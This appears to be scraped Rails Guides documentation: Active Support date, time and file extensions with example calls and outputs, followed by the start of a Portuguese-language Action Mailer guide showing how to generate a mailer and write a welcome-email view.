d.beginning_of_year      # => Fri, 01 Jan 2010
d.end_of_year            # => Fri, 31 Dec 2010

d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 d.beginning_of_year # => Fri, 01 Jan 2010 d.end_of_year # => Fri, 31 Dec 2010 Copiar

beginning_of_year is aliased to at_beginning_of_year, and end_of_year is aliased to at_end_of_year.

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.3 Other Date Computations

15.1.3.1 years_ago, years_since

The method years_ago receives a number of years and returns the same date those many years ago:

date = Date.new(2010, 6, 7)
date.years_ago(10) # => Wed, 07 Jun 2000

date = Date.new(2010, 6, 7) date.years_ago(10) # => Wed, 07 Jun 2000 Copiar

years_since moves forward in time:

date = Date.new(2010, 6, 7)
date.years_since(10) # => Sun, 07 Jun 2020

date = Date.new(2010, 6, 7) date.years_since(10) # => Sun, 07 Jun 2020 Copiar

If such a day does not exist, the last day of the corresponding month is returned:

Date.new(2012, 2, 29).years_ago(3)     # => Sat, 28 Feb 2009
Date.new(2012, 2, 29).years_since(3)   # => Sat, 28 Feb 2015

Date.new(2012, 2, 29).years_ago(3) # => Sat, 28 Feb 2009 Date.new(2012, 2, 29).years_since(3) # => Sat, 28 Feb 2015 Copiar

last_year is short-hand for #years_ago(1).

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.3.2 months_ago, months_since

The methods months_ago and months_since work analogously for months:

Date.new(2010, 4, 30).months_ago(2)   # => Sun, 28 Feb 2010
Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010

Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010 Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010 Copiar

If such a day does not exist, the last day of the corresponding month is returned:

Date.new(2010, 4, 30).months_ago(2)    # => Sun, 28 Feb 2010
Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010

Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010 Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010 Copiar

last_month is short-hand for #months_ago(1).

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.3.3 weeks_ago

The method weeks_ago works analogously for weeks:

Date.new(2010, 5, 24).weeks_ago(1)    # => Mon, 17 May 2010
Date.new(2010, 5, 24).weeks_ago(2)    # => Mon, 10 May 2010

Date.new(2010, 5, 24).weeks_ago(1) # => Mon, 17 May 2010 Date.new(2010, 5, 24).weeks_ago(2) # => Mon, 10 May 2010 Copiar

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.3.4 advance

The most generic way to jump to other days is advance. This method receives a hash with keys :years, :months, :weeks, :days, and returns a date advanced as much as the present keys indicate:

date = Date.new(2010, 6, 6)
date.advance(years: 1, weeks: 2)  # => Mon, 20 Jun 2011
date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010

date = Date.new(2010, 6, 6) date.advance(years: 1, weeks: 2) # => Mon, 20 Jun 2011 date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010 Copiar

Note in the previous example that increments may be negative.

To perform the computation the method first increments years, then months, then weeks, and finally days. This order is important towards the end of months. Say for example we are at the end of February of 2010, and we want to move one month and one day forward.

The method advance advances first one month, and then one day, the result is:

Date.new(2010, 2, 28).advance(months: 1, days: 1)
# => Sun, 29 Mar 2010

Date.new(2010, 2, 28).advance(months: 1, days: 1) # => Sun, 29 Mar 2010 Copiar

While if it did it the other way around the result would be different:

Date.new(2010, 2, 28).advance(days: 1).advance(months: 1)
# => Thu, 01 Apr 2010

Date.new(2010, 2, 28).advance(days: 1).advance(months: 1) # => Thu, 01 Apr 2010 Copiar

Defined in active_support/core_ext/date/calculations.rb.

15.1.4 Changing Components

The method change allows you to get a new date which is the same as the receiver except for the given year, month, or day:

Date.new(2010, 12, 23).change(year: 2011, month: 11)
# => Wed, 23 Nov 2011

Date.new(2010, 12, 23).change(year: 2011, month: 11) # => Wed, 23 Nov 2011 Copiar

This method is not tolerant to non-existing dates, if the change is invalid ArgumentError is raised:

Date.new(2010, 1, 31).change(month: 2)
# => ArgumentError: invalid date

Date.new(2010, 1, 31).change(month: 2) # => ArgumentError: invalid date Copiar

Defined in active_support/core_ext/date/calculations.rb.

15.1.5 Durations

Duration objects can be added to and subtracted from dates:

d = Date.current
# => Mon, 09 Aug 2010
d + 1.year
# => Tue, 09 Aug 2011
d - 3.hours
# => Sun, 08 Aug 2010 21:00:00 UTC +00:00

d = Date.current # => Mon, 09 Aug 2010 d + 1.year # => Tue, 09 Aug 2011 d - 3.hours # => Sun, 08 Aug 2010 21:00:00 UTC +00:00 Copiar

They translate to calls to since or advance. For example here we get the correct jump in the calendar reform:

Date.new(1582, 10, 4) + 1.day
# => Fri, 15 Oct 1582

Date.new(1582, 10, 4) + 1.day # => Fri, 15 Oct 1582 Copiar

15.1.6 Timestamps

The following methods return a Time object if possible, otherwise a DateTime. If set, they honor the user time zone.

15.1.6.1 beginning_of_day, end_of_day

The method beginning_of_day returns a timestamp at the beginning of the day (00:00:00):

date = Date.new(2010, 6, 7)
date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010

date = Date.new(2010, 6, 7) date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010 Copiar

The method end_of_day returns a timestamp at the end of the day (23:59:59):

date = Date.new(2010, 6, 7)
date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010

date = Date.new(2010, 6, 7) date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010 Copiar

beginning_of_day is aliased to at_beginning_of_day, midnight, at_midnight.

Defined in active_support/core_ext/date/calculations.rb.

15.1.6.2 beginning_of_hour, end_of_hour

The method beginning_of_hour returns a timestamp at the beginning of the hour (hh:00:00):

date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010

date = DateTime.new(2010, 6, 7, 19, 55, 25) date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010 Copiar

The method end_of_hour returns a timestamp at the end of the hour (hh:59:59):

date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010

date = DateTime.new(2010, 6, 7, 19, 55, 25) date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010 Copiar

beginning_of_hour is aliased to at_beginning_of_hour.

Defined in active_support/core_ext/date_time/calculations.rb.

15.1.6.3 beginning_of_minute, end_of_minute

The method beginning_of_minute returns a timestamp at the beginning of the minute (hh:mm:00):

date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010

date = DateTime.new(2010, 6, 7, 19, 55, 25) date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010 Copiar

The method end_of_minute returns a timestamp at the end of the minute (hh:mm:59):

date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010

date = DateTime.new(2010, 6, 7, 19, 55, 25) date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010 Copiar

beginning_of_minute is aliased to at_beginning_of_minute.

beginning_of_hour, end_of_hour, beginning_of_minute and end_of_minute are implemented for Time and DateTime but not Date as it does not make sense to request the beginning or end of an hour or minute on a Date instance.

Defined in active_support/core_ext/date_time/calculations.rb.

15.1.6.4 ago, since

The method ago receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:

date = Date.current # => Fri, 11 Jun 2010
date.ago(1)         # => Thu, 10 Jun 2010 23:59:59 EDT -04:00

date = Date.current # => Fri, 11 Jun 2010 date.ago(1) # => Thu, 10 Jun 2010 23:59:59 EDT -04:00 Copiar

Similarly, since moves forward:

date = Date.current # => Fri, 11 Jun 2010
date.since(1)       # => Fri, 11 Jun 2010 00:00:01 EDT -04:00

date = Date.current # => Fri, 11 Jun 2010 date.since(1) # => Fri, 11 Jun 2010 00:00:01 EDT -04:00 Copiar

Defined in active_support/core_ext/date/calculations.rb.

15.1.7 Other Time Computations

15.2 Conversions

16 Extensions to DateTime

DateTime is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example seconds_since_midnight might not return the real amount in such a day.

16.1 Calculations

The class DateTime is a subclass of Date so by loading active_support/core_ext/date/calculations.rb you inherit these methods and their aliases, except that they will always return datetimes.

The following methods are reimplemented so you do not need to load active_support/core_ext/date/calculations.rb for these ones:

- beginning_of_day / midnight / at_midnight / at_beginning_of_day

- end_of_day

- ago

- since / in

On the other hand, advance and change are also defined and support more options, they are documented below.

The following methods are only implemented in active_support/core_ext/date_time/calculations.rb as they only make sense when used with a DateTime instance:

- beginning_of_hour / at_beginning_of_hour

- end_of_hour

16.1.1 Named Datetimes

16.1.1.1 DateTime.current

Active Support defines DateTime.current to be like Time.now.to_datetime, except that it honors the user time zone, if defined. The instance predicates past? and future? are defined relative to DateTime.current.

Defined in active_support/core_ext/date_time/calculations.rb.

16.1.2 Other Extensions

16.1.2.1 seconds_since_midnight

The method seconds_since_midnight returns the number of seconds since midnight:

now = DateTime.current     # => Mon, 07 Jun 2010 20:26:36 +0000
now.seconds_since_midnight # => 73596

now = DateTime.current # => Mon, 07 Jun 2010 20:26:36 +0000 now.seconds_since_midnight # => 73596 Copiar

Defined in active_support/core_ext/date_time/calculations.rb.

16.1.2.2 utc

The method utc gives you the same datetime in the receiver expressed in UTC.

now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
now.utc                # => Mon, 07 Jun 2010 23:27:52 +0000

now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400 now.utc # => Mon, 07 Jun 2010 23:27:52 +0000 Copiar

This method is also aliased as getutc.

Defined in active_support/core_ext/date_time/calculations.rb.

16.1.2.3 utc?

The predicate utc? says whether the receiver has UTC as its time zone:

now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
now.utc?           # => false
now.utc.utc?       # => true

now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400 now.utc? # => false now.utc.utc? # => true Copiar

Defined in active_support/core_ext/date_time/calculations.rb.

16.1.2.4 advance

The most generic way to jump to another datetime is advance. This method receives a hash with keys :years, :months, :weeks, :days, :hours, :minutes, and :seconds, and returns a datetime advanced as much as the present keys indicate.

d = DateTime.current
# => Thu, 05 Aug 2010 11:33:31 +0000
d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, seconds: 1)
# => Tue, 06 Sep 2011 12:34:32 +0000

d = DateTime.current # => Thu, 05 Aug 2010 11:33:31 +0000 d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, seconds: 1) # => Tue, 06 Sep 2011 12:34:32 +0000 Copiar

This method first computes the destination date passing :years, :months, :weeks, and :days to Date#advance documented above. After that, it adjusts the time calling since with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in Date#advance applies, and we can extend it to show order relevance related to the time bits.

If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation:

d = DateTime.new(2010, 2, 28, 23, 59, 59)
# => Sun, 28 Feb 2010 23:59:59 +0000
d.advance(months: 1, seconds: 1)
# => Mon, 29 Mar 2010 00:00:00 +0000

d = DateTime.new(2010, 2, 28, 23, 59, 59) # => Sun, 28 Feb 2010 23:59:59 +0000 d.advance(months: 1, seconds: 1) # => Mon, 29 Mar 2010 00:00:00 +0000 Copiar

but if we computed them the other way around, the result would be different:

d.advance(seconds: 1).advance(months: 1)
# => Thu, 01 Apr 2010 00:00:00 +0000

d.advance(seconds: 1).advance(months: 1) # => Thu, 01 Apr 2010 00:00:00 +0000 Copiar

Since DateTime is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.

Defined in active_support/core_ext/date_time/calculations.rb.

16.1.3 Changing Components

The method change allows you to get a new datetime which is the same as the receiver except for the given options, which may include :year, :month, :day, :hour, :min, :sec, :offset, :start:

now = DateTime.current
# => Tue, 08 Jun 2010 01:56:22 +0000
now.change(year: 2011, offset: Rational(-6, 24))
# => Wed, 08 Jun 2011 01:56:22 -0600

now = DateTime.current # => Tue, 08 Jun 2010 01:56:22 +0000 now.change(year: 2011, offset: Rational(-6, 24)) # => Wed, 08 Jun 2011 01:56:22 -0600 Copiar

If hours are zeroed, then minutes and seconds are too (unless they have given values):

now.change(hour: 0)
# => Tue, 08 Jun 2010 00:00:00 +0000

now.change(hour: 0) # => Tue, 08 Jun 2010 00:00:00 +0000 Copiar

Similarly, if minutes are zeroed, then seconds are too (unless it has given a value):

now.change(min: 0)
# => Tue, 08 Jun 2010 01:00:00 +0000

now.change(min: 0) # => Tue, 08 Jun 2010 01:00:00 +0000 Copiar

This method is not tolerant to non-existing dates, if the change is invalid ArgumentError is raised:

DateTime.current.change(month: 2, day: 30)
# => ArgumentError: invalid date

DateTime.current.change(month: 2, day: 30) # => ArgumentError: invalid date Copiar

Defined in active_support/core_ext/date_time/calculations.rb.

16.1.4 Durations

Duration objects can be added to and subtracted from datetimes:

now = DateTime.current
# => Mon, 09 Aug 2010 23:15:17 +0000
now + 1.year
# => Tue, 09 Aug 2011 23:15:17 +0000
now - 1.week
# => Mon, 02 Aug 2010 23:15:17 +0000

now = DateTime.current # => Mon, 09 Aug 2010 23:15:17 +0000 now + 1.year # => Tue, 09 Aug 2011 23:15:17 +0000 now - 1.week # => Mon, 02 Aug 2010 23:15:17 +0000 Copiar

They translate to calls to since or advance. For example here we get the correct jump in the calendar reform:

DateTime.new(1582, 10, 4, 23) + 1.hour
# => Fri, 15 Oct 1582 00:00:00 +0000

DateTime.new(1582, 10, 4, 23) + 1.hour # => Fri, 15 Oct 1582 00:00:00 +0000 Copiar

17 Extensions to Time

17.1 Calculations

They are analogous. Please refer to their documentation above and take into account the following differences:

- change accepts an additional :usec option.

- Time understands DST, so you get correct DST calculations as in

Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>

# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
t = Time.local(2010, 3, 28, 1, 59, 59)
# => Sun Mar 28 01:59:59 +0100 2010
t.advance(seconds: 1)
# => Sun Mar 28 03:00:00 +0200 2010

Time.zone_default # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> # In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST. t = Time.local(2010, 3, 28, 1, 59, 59) # => Sun Mar 28 01:59:59 +0100 2010 t.advance(seconds: 1) # => Sun Mar 28 03:00:00 +0200 2010 Copiar

- If since or ago jump to a time that can't be expressed with Time a DateTime object is returned instead.

17.1.1 Time.current

Active Support defines Time.current to be today in the current time zone. That's like Time.now, except that it honors the user time zone, if defined. It also defines the instance predicates past?, today?, tomorrow?, next_day?, yesterday?, prev_day? and future?, all of them relative to Time.current.

When making Time comparisons using methods which honor the user time zone, make sure to use Time.current instead of Time.now. There are cases where the user time zone might be in the future compared to the system time zone, which Time.now uses by default. This means Time.now.to_date may equal Date.yesterday.

Defined in active_support/core_ext/time/calculations.rb.

17.1.2 all_day, all_week, all_month, all_quarter and all_year

The method all_day returns a range representing the whole day of the current time.

now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_day
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00

now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now.all_day # => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00 Copiar

Analogously, all_week, all_month, all_quarter and all_year all serve the purpose of generating time ranges.

now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_week
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
now.all_week(:sunday)
# => Sun, 16 Sep 2012 00:00:00 UTC +00:00..Sat, 22 Sep 2012 23:59:59 UTC +00:00
now.all_month
# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
now.all_quarter
# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
now.all_year
# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00

now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now.all_week # => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00 now.all_week(:sunday) # => Sun, 16 Sep 2012 00:00:00 UTC +00:00..Sat, 22 Sep 2012 23:59:59 UTC +00:00 now.all_month # => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00 now.all_quarter # => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00 now.all_year # => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00 Copiar

Defined in active_support/core_ext/date_and_time/calculations.rb.

17.1.3 prev_day, next_day

prev_day and next_day return the time in the last or next day:

t = Time.new(2010, 5, 8) # => 2010-05-08 00:00:00 +0900
t.prev_day               # => 2010-05-07 00:00:00 +0900
t.next_day               # => 2010-05-09 00:00:00 +0900

t = Time.new(2010, 5, 8) # => 2010-05-08 00:00:00 +0900 t.prev_day # => 2010-05-07 00:00:00 +0900 t.next_day # => 2010-05-09 00:00:00 +0900 Copiar

Defined in active_support/core_ext/time/calculations.rb.

17.1.4 prev_month, next_month

prev_month and next_month return the time with the same day in the last or next month:

t = Time.new(2010, 5, 8) # => 2010-05-08 00:00:00 +0900
t.prev_month             # => 2010-04-08 00:00:00 +0900
t.next_month             # => 2010-06-08 00:00:00 +0900

t = Time.new(2010, 5, 8) # => 2010-05-08 00:00:00 +0900 t.prev_month # => 2010-04-08 00:00:00 +0900 t.next_month # => 2010-06-08 00:00:00 +0900 Copiar

If such a day does not exist, the last day of the corresponding month is returned:

Time.new(2000, 5, 31).prev_month # => 2000-04-30 00:00:00 +0900
Time.new(2000, 3, 31).prev_month # => 2000-02-29 00:00:00 +0900
Time.new(2000, 5, 31).next_month # => 2000-06-30 00:00:00 +0900
Time.new(2000, 1, 31).next_month # => 2000-02-29 00:00:00 +0900

Time.new(2000, 5, 31).prev_month # => 2000-04-30 00:00:00 +0900 Time.new(2000, 3, 31).prev_month # => 2000-02-29 00:00:00 +0900 Time.new(2000, 5, 31).next_month # => 2000-06-30 00:00:00 +0900 Time.new(2000, 1, 31).next_month # => 2000-02-29 00:00:00 +0900 Copiar

Defined in active_support/core_ext/time/calculations.rb.

17.1.5 prev_year, next_year

prev_year and next_year return a time with the same day/month in the last or next year:

t = Time.new(2010, 5, 8) # => 2010-05-08 00:00:00 +0900
t.prev_year              # => 2009-05-08 00:00:00 +0900
t.next_year              # => 2011-05-08 00:00:00 +0900

t = Time.new(2010, 5, 8) # => 2010-05-08 00:00:00 +0900 t.prev_year # => 2009-05-08 00:00:00 +0900 t.next_year # => 2011-05-08 00:00:00 +0900 Copiar

If date is the 29th of February of a leap year, you obtain the 28th:

t = Time.new(2000, 2, 29) # => 2000-02-29 00:00:00 +0900
t.prev_year               # => 1999-02-28 00:00:00 +0900
t.next_year               # => 2001-02-28 00:00:00 +0900

t = Time.new(2000, 2, 29) # => 2000-02-29 00:00:00 +0900 t.prev_year # => 1999-02-28 00:00:00 +0900 t.next_year # => 2001-02-28 00:00:00 +0900 Copiar

Defined in active_support/core_ext/time/calculations.rb.

17.1.6 prev_quarter, next_quarter

prev_quarter and next_quarter return the date with the same day in the previous or next quarter:

t = Time.local(2010, 5, 8) # => 2010-05-08 00:00:00 +0300
t.prev_quarter             # => 2010-02-08 00:00:00 +0200
t.next_quarter             # => 2010-08-08 00:00:00 +0300

t = Time.local(2010, 5, 8) # => 2010-05-08 00:00:00 +0300 t.prev_quarter # => 2010-02-08 00:00:00 +0200 t.next_quarter # => 2010-08-08 00:00:00 +0300 Copiar

If such a day does not exist, the last day of the corresponding month is returned:

Time.local(2000, 7, 31).prev_quarter  # => 2000-04-30 00:00:00 +0300
Time.local(2000, 5, 31).prev_quarter  # => 2000-02-29 00:00:00 +0200
Time.local(2000, 10, 31).prev_quarter # => 2000-07-31 00:00:00 +0300
Time.local(2000, 11, 31).next_quarter # => 2001-03-01 00:00:00 +0200

Time.local(2000, 7, 31).prev_quarter # => 2000-04-30 00:00:00 +0300 Time.local(2000, 5, 31).prev_quarter # => 2000-02-29 00:00:00 +0200 Time.local(2000, 10, 31).prev_quarter # => 2000-07-31 00:00:00 +0300 Time.local(2000, 11, 31).next_quarter # => 2001-03-01 00:00:00 +0200 Copiar

prev_quarter is aliased to last_quarter.

Defined in active_support/core_ext/date_and_time/calculations.rb.

17.2 Time Constructors

Active Support defines Time.current to be Time.zone.now if there's a user time zone defined, with fallback to Time.now:

Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
Time.current
# => Fri, 06 Aug 2010 17:11:58 CEST +02:00

Time.zone_default # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> Time.current # => Fri, 06 Aug 2010 17:11:58 CEST +02:00 Copiar

Analogously to DateTime, the predicates past?, and future? are relative to Time.current.

If the time to be constructed lies beyond the range supported by Time in the runtime platform, usecs are discarded and a DateTime object is returned instead.

17.2.1 Durations

Duration objects can be added to and subtracted from time objects:

now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now + 1.year
# => Tue, 09 Aug 2011 23:21:11 UTC +00:00
now - 1.week
# => Mon, 02 Aug 2010 23:21:11 UTC +00:00

now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now + 1.year # => Tue, 09 Aug 2011 23:21:11 UTC +00:00 now - 1.week # => Mon, 02 Aug 2010 23:21:11 UTC +00:00 Copiar

They translate to calls to since or advance. For example here we get the correct jump in the calendar reform:

Time.utc(1582, 10, 3) + 5.days
# => Mon Oct 18 00:00:00 UTC 1582

Time.utc(1582, 10, 3) + 5.days # => Mon Oct 18 00:00:00 UTC 1582 Copiar

18 Extensions to File

18.1 atomic_write

With the class method File.atomic_write you can write to a file in a way that will prevent any reader from seeing half-written content.

The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done atomic_write closes the file handle and completes its job.

For example, Action Pack uses this method to write asset cache files like all.css:

File.atomic_write(joined_asset_path) do |cache|
cache.write(join_asset_file_contents(asset_paths))
end

File.atomic_write(joined_asset_path) do |cache| cache.write(join_asset_file_contents(asset_paths)) end Copiar

To accomplish this atomic_write creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists atomic_write overwrites it and keeps owners and permissions. However there are a few cases where atomic_write cannot change the file ownership or permissions, this error is caught and skipped over trusting in the user/filesystem to ensure the file is accessible to the processes that need it.

Due to the chmod operation atomic_write performs, if the target file has an ACL set on it this ACL will be recalculated/modified.

Note you can't append with atomic_write.

The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument.

Defined in active_support/core_ext/file/atomic.rb.

19 Extensions to Marshal

19.1 load

Active Support adds constant autoloading support to load.

For example, the file cache store deserializes this way:

File.open(file_name) { |f| Marshal.load(f) }

File.open(file_name) { |f| Marshal.load(f) } Copiar

If the cached data refers to a constant that is unknown at that point, the autoloading mechanism is triggered and if it succeeds the deserialization is retried transparently.

If the argument is an IO it needs to respond to rewind to be able to retry. Regular files respond to rewind.

Defined in active_support/core_ext/marshal.rb.

20 Extensions to NameError

Active Support adds missing_name? to NameError, which tests whether the exception was raised because of the name passed as argument.

The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully qualified constant name.

A symbol can represent a fully qualified constant name as in :"ActiveRecord::Base", so the behavior for symbols is defined for convenience, not because it has to be that way technically.

For example, when an action of ArticlesController is called Rails tries optimistically to use ArticlesHelper. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that articles_helper.rb raises a NameError due to an actual unknown constant. That should be reraised. The method missing_name? provides a way to distinguish both cases:

def default_helper_module!
module_name = name.delete_suffix("Controller")
module_path = module_name.underscore
helper module_path
rescue LoadError => e
raise e unless e.is_missing? "helpers/#{module_path}_helper"
rescue NameError => e
raise e unless e.missing_name? "#{module_name}Helper"
end

def default_helper_module! module_name = name.delete_suffix("Controller") module_path = module_name.underscore helper module_path rescue LoadError => e raise e unless e.is_missing? "helpers/#{module_path}_helper" rescue NameError => e raise e unless e.missing_name? "#{module_name}Helper" end Copiar

Defined in active_support/core_ext/name_error.rb.

21 Extensions to LoadError

Active Support adds is_missing? to LoadError.

Given a path name is_missing? tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).

For example, when an action of ArticlesController is called Rails tries to load articles_helper.rb, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method is_missing? provides a way to distinguish both cases:

def default_helper_module!
module_name = name.delete_suffix("Controller")
module_path = module_name.underscore
helper module_path
rescue LoadError => e
raise e unless e.is_missing? "helpers/#{module_path}_helper"
rescue NameError => e
raise e unless e.missing_name? "#{module_name}Helper"
end

def default_helper_module! module_name = name.delete_suffix("Controller") module_path = module_name.underscore helper module_path rescue LoadError => e raise e unless e.is_missing? "helpers/#{module_path}_helper" rescue NameError => e raise e unless e.missing_name? "#{module_name}Helper" end Copiar

Defined in active_support/core_ext/load_error.rb.

Começando a usar Action Mailer — Ruby...

1 O que é o Action Mailer?

Action Mailer permite que você envie emails direto da sua aplicação usando as classes e Mailer views

1.1 Mailers são semelhantes a controllers

Eles herdam do ActionMailer::Base e se encontram na app/mailers. Os Mailers também funcionam de maneira muito semelhante aos controllers. Alguns exemplos de semelhanças são mostrados abaixo. Mailers tem:

- Actions, e também, views associadas que aparecem em app/views.

- Variáveis de instância acessíveis nas views.

- A capacidade de utilizar layouts e partials.

- A capacidade de acessar um hash de parâmetros.

2 Enviando E-mails

Esta seção irá te guiar no processo de criação de um Mailer e sua view.

2.1 Passo a Passo para Gerar um Mailer

2.1.1 Criando um Mailer

$ bin/rails generate mailer UserMailer
create  app/mailers/user_mailer.rb
create  app/mailers/application_mailer.rb
invoke  erb
create    app/views/user_mailer
create    app/views/layouts/mailer.text.erb
create    app/views/layouts/mailer.html.erb
invoke  test_unit
create    test/mailers/user_mailer_test.rb
create    test/mailers/previews/user_mailer_preview.rb

bin/rails generate mailer UserMailer Copiar

# app/mailers/application_mailer.rb
class ApplicationMailer < ActionMailer::Base
default from: "para@exemplo.com"
layout 'mailer'
end

# app/mailers/application_mailer.rb class ApplicationMailer < ActionMailer::Base default from: "para@exemplo.com" layout 'mailer' end Copiar

# app/mailers/user_mailer.rb
class UserMailer < ApplicationMailer
end

# app/mailers/user_mailer.rb class UserMailer < ApplicationMailer end Copiar

Como pôde ver no exemplo acima, você pode gerar mailers como faz com outros tipos de arquivos no Rails.

Se você prefere não usar um generator, você pode criar esses arquivos por si só dentro de app/mailers/, só não se esqueça de adicionar a herança com ActionMailer::Base aos mailers:

class MyMailer < ActionMailer::Base
end

class MyMailer < ActionMailer::Base end Copiar

2.1.2 Editando o Mailer

Mailers têm métodos chamados actions e usam views para estruturar seu conteúdo. Onde um controller gera conteúdo como HTML para enviar de volta à um cliente, o Mailer cria uma mensagem para ser entregue por e-mail.

app/mailers/user_mailer.rb contém um mailer vazio:

class UserMailer < ApplicationMailer
end

class UserMailer < ApplicationMailer end Copiar

Vamos adicionar um método chamado welcome_email, que enviará um e-mail para o endereço de e-mail registrado pelo usuário.

class UserMailer < ApplicationMailer
default from: 'notificacoes@exemplo.com'

def welcome_email
@user = params[:user]
@url  = 'http://exemplo.com/login'
mail(to: @user.email, subject: 'Boas vindas ao nosso incrível site!')
end
end

class UserMailer < ApplicationMailer default from: 'notificacoes@exemplo.com' def welcome_email @user = params[:user] @url = 'http://exemplo.com/login' mail(to: @user.email, subject: 'Boas vindas ao nosso incrível site!') end end Copiar

Uma breve explicação sobre os itens apresentados no método acima. Para uma lista completa de todas as opções disponíveis, por favor, dê uma olhada mais abaixo na seção: Lista completa de atributos de configuração do Action Mailer.

- default Hash — Está é a Hash padrão com valores que serão usados em todos os e-mail enviados por este mailer. Neste exemplo nós configuramos o :from (Remetente, quem envia) para um valor padrão que será usado em todas as mensagens enviadas por está classe. Está configuração pode ser sobrescrita.

- mail — O próprio e-mail, aqui nós estamos passando os parâmetros :to (Destinatário, quem recebe) e :subject (Assunto do e-mail) ao cabeçalho.

2.1.3 Criando uma View para nosso Mailer

Crie um arquivo com o nome welcome_email.html.erb em app/views/user_mailer/. Este será o modelo que usaremos para nosso e-mail, formatado usando HTML:

<!DOCTYPE html>
<html>
<head>
<meta content='text/html; charset=UTF-8' http-equiv='Content-Type' />
</head>
<body>
<h1>Boas vindas ao site exemplo.com, <%= @user.name %></h1>
<p>
Você concluiu seu cadastro com sucesso,
seu nome de usuário é: <%= @user.login %>.<br>
</p>
<p>
Para iniciar sua seção no site clique no link a seguir: <%= @url %>.
</p>
<p>Agradecemos por se juntar à nós! Tenha um ótimo dia!</p>
</body>
</html>

<!DOCTYPE html> <html> <head> <meta content='text/html; charset=UTF-8' http-equiv='Content-Type' /> </head> <body> <h1>Boas vindas ao site exemplo.com, <%= @user.name %></h1> <p> Você concluiu seu cadastro com sucesso, seu nome de usuário é: <%= @user.login %>.<br> </p> <p> Para iniciar sua seção no site clique no link a seguir: <%= @url %>. </p> <p>Agradecemos por se juntar à nós! Tenha um ótimo dia!</p> </body> </html> Copiar
